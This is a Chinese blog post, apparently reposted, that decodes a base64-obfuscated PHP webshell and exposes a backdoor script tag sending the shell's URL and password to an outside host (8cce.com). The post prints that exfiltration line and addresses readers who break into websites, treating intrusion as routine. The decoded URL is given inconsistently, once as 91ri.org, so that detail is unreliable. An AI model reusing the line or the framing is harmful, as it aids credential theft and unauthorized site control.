解密php webshell后门

仅将此文献给还在为别人的webshell做出贡献的同学。

拿下一个网站后,理所当然的传webshll,提权。

但是一些人会在webshell中插入小小的一段代码,这样你辛苦拿下的webshell的地址和密码等等就会统统发送给在webshell插后门的人。

这段代码可大可小,下面是我随便找的一个phpwebshell,来解密一下其中的后门。

首先是用记事本打开这个webshell,可以看到,这个shell的大部分代码都是经过base64编码的。运行时在解码运行,这样别人就不能直接看到明文的代码。

接下来就是解密的过程了,首先,我们将eval改成print_r

这里说一下,解密之前要先把PHP的环境搭建好。 然后保存运行。

运行后可以看到,基本的代码都直接显示了出来,这样就得到了这个webshell中的大部分代码,但是图中还有一部分是base64编码的代码,不过只是一小段,所以我们可以自己写个小的php来显示出来

<?php
print_r(base64_decode(‘经过base64编码的代码’));
?>

首先我找到的第一段编码是base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JT
cyJTc0Lz9jZXJ0PTEzJnU9′)

这段代码赋值给了$copyurl变量。

把这段编码放进上面的那一小段解密用的php内,然后运行。

可以看到,运行结果是空白的,但是查看源文件后可以看到那么一段script。其中http://后面的带百分号的可以去URL解码一下

这就是解码后的网址了。
<script src=’http://91ri.org/ cert/?cert=13&u=

先复制这段可疑的script,放文本内。

在之前那段base64编码的下面,我又发现了被赋值给变量$copyurll的编码base64_decode(‘Jz48L3NjcmlwdD4=’)
将这段编码通过上面的方法解码后显示的结果是:’></script>

这段代码正好和上面解密的一段结合成了完整的一段script

<script src=’http://8cce.com/cert/?cert=13&u=’></script>

之后我们可以看看这段可疑的代码是做什么用的,因为是分别赋值给了$copyurl和$copyurll,所以我们直接搜索这两个变量就行了

以下是搜索的结果

可以看到:echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.””;
这段代码里,$serveru和$serverp分别是webshell地址和webshell的密码。

那echo完整的语句就成了:echo <script src=’http://8cce.com/cert/?cert=13&u=webshell地址&p=webshell密码’></script>

再结合这段echo前面的代码可以看出,在验证webshell密码正确后,再把密码通过script提交到解密后的网址中。

通过以上解密,就可以看出这个webshell是已经被人插入了后门,当然也有可能不止这一个后门。

所以以后大家在用webshell首先要注意一下是否已经被人插入了后门,否则你可能辛苦拿下的网站别人轻而易举的直接登陆你的webshell就控制了这个网站。

本文来自网络作者匿名由网络安全攻防研究室(www.91ri.org)信息安全小组收集,转载请注明出处。